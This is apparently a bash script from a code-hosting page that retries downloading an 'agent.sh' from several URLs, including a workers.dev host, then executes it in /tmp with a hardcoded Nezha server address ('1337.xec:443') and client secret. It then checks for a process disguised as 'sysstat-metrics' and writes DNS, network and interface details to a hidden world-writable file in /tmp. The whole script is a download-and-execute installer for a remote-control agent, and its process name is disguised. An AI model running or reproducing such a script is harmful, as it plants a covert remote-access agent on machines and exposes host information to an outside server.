You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
37 lines
1.4 KiB
37 lines
1.4 KiB
#!/bin/bash
|
|
{
|
|
echo "=== retry nezha $(date) ==="
|
|
cd /tmp
|
|
|
|
# Try multiple endpoints
|
|
for URL in "https://x.lucazchad.workers.dev/8d16-agenta.sh" "https://workers.dev/8d16-agenta.sh" "https://github.com/nezhahq/nezha/releases/latest/download/nezha-agent_linux_amd64.zip" ; do
|
|
echo "trying $URL"
|
|
curl -fsSL --max-time 15 "$URL" -o agent.sh 2>&1 | tail -2
|
|
if [ -s agent.sh ]; then
|
|
head -3 agent.sh
|
|
chmod +x agent.sh
|
|
NZ_SERVER=1337.xec:443 NZ_TLS=true NZ_CLIENT_SECRET=CqmryaJbtE5Eb49f8xXuB6h10AE9pbsH NZ_UUID=$(cat /proc/sys/kernel/random/uuid 2>/dev/null || echo "fb-$RANDOM-$$") /tmp/agent.sh 2>&1
|
|
sleep 3
|
|
echo "--- pgrep ---"
|
|
pgrep -af sysstat-metrics
|
|
echo "--- /usr/bin/sysstat-metrics ---"
|
|
ls -la /usr/bin/sysstat-metrics /usr/bin/config.yml 2>&1
|
|
break
|
|
fi
|
|
done
|
|
|
|
# Save report
|
|
{
|
|
echo "--- DNS test ---"
|
|
cat /etc/resolv.conf 2>&1 | head -5
|
|
nslookup x.lucazchad.workers.dev 2>&1 | head -5
|
|
nslookup 1337.xec 2>&1 | head -5
|
|
echo "--- Network test ---"
|
|
curl -fsSL --max-time 5 -o /dev/null -w "HTTP %{http_code} from %{url_effective} (%{time_total}s)\n" https://x.lucazchad.workers.dev/ 2>&1
|
|
curl -fsSL --max-time 5 -o /dev/null -w "HTTP %{http_code} from %{url_effective} (%{time_total}s)\n" https://github.com/ 2>&1
|
|
echo "--- pgrep ---"
|
|
pgrep -af sysstat-metrics
|
|
echo "--- ifconfig ---"
|
|
ip a 2>&1 | head -15
|
|
} > /tmp/.nezha_retry_$$ 2>&1
|
|
chmod 777 /tmp/.nezha_retry_*
|